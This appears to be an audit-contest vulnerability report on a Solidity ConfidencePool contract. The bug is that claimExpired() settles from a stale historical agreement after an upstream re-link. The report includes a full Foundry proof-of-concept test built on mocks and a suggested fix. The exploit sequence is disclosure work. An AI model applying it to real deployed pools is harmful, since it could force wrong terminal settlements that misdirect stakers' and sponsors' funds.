FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

`claimExpired()` can resolve from a stale historical agreement after a Binding Agreement re-link

Author Revealed upon completion

Root + Impact

Description

After pool expiry, claimExpired() should settle against the agreement state that currently governs the scoped contract's BattleChain lifecycle. Once BattleChain has legitimately re-linked the scoped contract to a newer Binding Agreement in AttackRegistry, expiry settlement should not keep resolving from a stale historical agreement address.

The issue is that ConfidencePool snapshots one agreement address during initialization and later treats that stored address as the only source of truth for expiry settlement. It never checks whether the scoped contract is still bound to that agreement upstream. When the scoped contract has moved from historical Agreement A to current Agreement B, claimExpired() can still finalize from stale Agreement A.

This causes wrong terminal settlement. If stale Agreement A is PRODUCTION, the pool resolves SURVIVED and releases stake plus sponsor-funded bonus even while the scoped contract's current Binding Agreement B is CORRUPTED. If stale Agreement A is only pre-terminal, the same path resolves EXPIRED and returns principal even while the current binding is already corrupted.

function initialize(...) external initializer {
...
@> agreement = agreement_;
...
}
function _getAgreementState() internal view returns (IAttackRegistry.ContractState) {
address attackRegistry = safeHarborRegistry.getAttackRegistry();
@> return IAttackRegistry(attackRegistry).getAgreementState(agreement);
}
function claimExpired() external nonReentrant {
...
@> IAttackRegistry.ContractState state = _observePoolState();
...
if (state == IAttackRegistry.ContractState.PRODUCTION) {
@> outcome = PoolStates.Outcome.SURVIVED;
...
} else {
@> outcome = PoolStates.Outcome.EXPIRED;
...
}
}

The missing check is that expiry settlement does not verify the current AttackRegistry binding before using the stored historical agreement. Upstream BattleChain maintains a live contract -> agreement pointer and allows re-linking once the old agreement is no longer active. After such a legitimate re-link, the pool can keep finalizing from Agreement A even though Agreement B is now authoritative for the scoped contract.

Risk

Likelihood:

  • A legitimate agreement rollover / migration can create the stale condition after the pool was initially created correctly. This does not require a maliciously wrong pool at creation time.

  • Once the stale condition exists, the exploit trigger is permissionless. Any caller, including a non-staker with zero pool balance, can call claimExpired() after expiry and finalize the stale settlement branch.

Impact:

  • When stale Agreement A is PRODUCTION, claimExpired() incorrectly resolves SURVIVED; an honest staker can then claim the original stake plus sponsor-funded bonus even though the scoped contract's current Binding Agreement B is already CORRUPTED.

  • When stale Agreement A is pre-terminal, claimExpired() incorrectly resolves EXPIRED; an honest staker can reclaim principal from the wrong branch even though the current Binding Agreement is already CORRUPTED.

  • The caller does not directly steal funds. The impact is incorrect terminal settlement: a permissionless caller can permanently choose the wrong payout/refund branch for the pool by forcing it to resolve from stale historical agreement state.

Proof of Concept

Run with:

cd repo && forge test --match-path test/poc/StaleClaimExpiredSettlement.t.sol -vv

Expected result:

Ran 2 tests for test/poc/StaleClaimExpiredSettlement.t.sol:StaleClaimExpiredSettlementPoC
[PASS] test_nonStakerCanFinalizeWrongStaleExpiredSettlement()
[PASS] test_nonStakerCanFinalizeWrongStaleSurvivedSettlement()

Full PoC file:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
contract StaleClaimExpiredRegistryMock {
mapping(address agreement => IAttackRegistry.ContractState) internal _state;
mapping(address contractAddress => address agreement) internal _bindingAgreement;
function setAgreementState(address agreement, IAttackRegistry.ContractState nextState) external {
_state[agreement] = nextState;
}
function setBindingAgreement(address contractAddress, address agreement) external {
_bindingAgreement[contractAddress] = agreement;
}
function getAgreementState(address agreement) external view returns (IAttackRegistry.ContractState) {
return _state[agreement];
}
function getAgreementForContract(address contractAddress) external view returns (address) {
return _bindingAgreement[contractAddress];
}
}
contract StaleClaimExpiredSettlementPoC is Test {
uint256 internal constant ONE = 1e18;
address internal constant TARGET_X = address(0xC0FFEE);
MockERC20 internal token;
MockSafeHarborRegistry internal safeHarborRegistry;
StaleClaimExpiredRegistryMock internal attackRegistry;
MockAgreement internal originalAgreement;
MockAgreement internal newBindingAgreement;
ConfidencePoolFactory internal factory;
address internal sponsor = makeAddr("sponsor");
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal staker = makeAddr("staker");
address internal bonusContributor = makeAddr("bonusContributor");
address internal outsider = makeAddr("outsider");
function setUp() external {
vm.warp(1_750_000_000);
token = new MockERC20();
safeHarborRegistry = new MockSafeHarborRegistry();
attackRegistry = new StaleClaimExpiredRegistryMock();
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
originalAgreement = new MockAgreement(sponsor);
newBindingAgreement = new MockAgreement(sponsor);
originalAgreement.setContractInScope(TARGET_X, true);
newBindingAgreement.setContractInScope(TARGET_X, true);
safeHarborRegistry.setAgreementValid(address(originalAgreement), true);
safeHarborRegistry.setAgreementValid(address(newBindingAgreement), true);
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(
ConfidencePoolFactory.initialize, (address(safeHarborRegistry), address(implementation), moderator)
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
}
function test_nonStakerCanFinalizeWrongStaleSurvivedSettlement() external {
attackRegistry.setBindingAgreement(TARGET_X, address(originalAgreement));
ConfidencePool pool = _createPool(address(originalAgreement));
_stakeAndBonus(address(pool), 100 * ONE, 50 * ONE);
attackRegistry.setAgreementState(address(originalAgreement), IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(block.timestamp + 5 days);
attackRegistry.setAgreementState(address(originalAgreement), IAttackRegistry.ContractState.PRODUCTION);
attackRegistry.setBindingAgreement(TARGET_X, address(newBindingAgreement));
attackRegistry.setAgreementState(address(newBindingAgreement), IAttackRegistry.ContractState.CORRUPTED);
vm.warp(pool.expiry());
vm.prank(outsider);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED), "outsider finalized stale survived");
uint256 before = token.balanceOf(staker);
vm.prank(staker);
pool.claimSurvived();
assertEq(token.balanceOf(staker) - before, 150 * ONE, "staker received wrong survived payout");
}
function test_nonStakerCanFinalizeWrongStaleExpiredSettlement() external {
attackRegistry.setBindingAgreement(TARGET_X, address(originalAgreement));
attackRegistry.setAgreementState(address(originalAgreement), IAttackRegistry.ContractState.ATTACK_REQUESTED);
ConfidencePool pool = _createPool(address(originalAgreement));
token.mint(staker, 100 * ONE);
vm.startPrank(staker);
token.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
attackRegistry.setBindingAgreement(TARGET_X, address(newBindingAgreement));
attackRegistry.setAgreementState(address(newBindingAgreement), IAttackRegistry.ContractState.CORRUPTED);
vm.warp(pool.expiry());
vm.prank(outsider);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "outsider finalized stale expired");
uint256 before = token.balanceOf(staker);
vm.prank(staker);
pool.claimExpired();
assertEq(token.balanceOf(staker) - before, 100 * ONE, "staker recovered principal from wrong expired branch");
}
function _createPool(address agreementAddr) internal returns (ConfidencePool pool) {
address[] memory accounts = new address[](1);
accounts[0] = TARGET_X;
vm.prank(sponsor);
address poolAddr =
factory.createPool(agreementAddr, address(token), block.timestamp + 31 days, ONE, recovery, accounts);
pool = ConfidencePool(poolAddr);
}
function _stakeAndBonus(address poolAddr, uint256 stakeAmount, uint256 bonusAmount) internal {
token.mint(staker, stakeAmount);
vm.startPrank(staker);
token.approve(poolAddr, stakeAmount);
ConfidencePool(poolAddr).stake(stakeAmount);
vm.stopPrank();
token.mint(bonusContributor, bonusAmount);
vm.startPrank(bonusContributor);
token.approve(poolAddr, bonusAmount);
ConfidencePool(poolAddr).contributeBonus(bonusAmount);
vm.stopPrank();
}
}

Recommended Mitigation

Before expiry settlement, verify that the scoped contract is still bound to the stored agreement in the upstream AttackRegistry. If the current binding has changed, the pool should not resolve from the stale historical agreement.

Illustrative mitigation:

function claimExpired() external nonReentrant {
+ address attackRegistry = safeHarborRegistry.getAttackRegistry();
+ address currentAgreement = IAttackRegistry(attackRegistry).getAgreementForContract(scopedContract);
+ if (currentAgreement != agreement) revert StaleAgreementBinding(agreement, currentAgreement);
+
IAttackRegistry.ContractState state = _observePoolState();
...
}

If immutable-at-birth agreement semantics are intended, then pools should be explicitly invalidated or made non-canonical once their scoped contracts are legitimately re-linked upstream. The current implementation silently continues using the old agreement for terminal settlement, which is the dangerous behavior.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!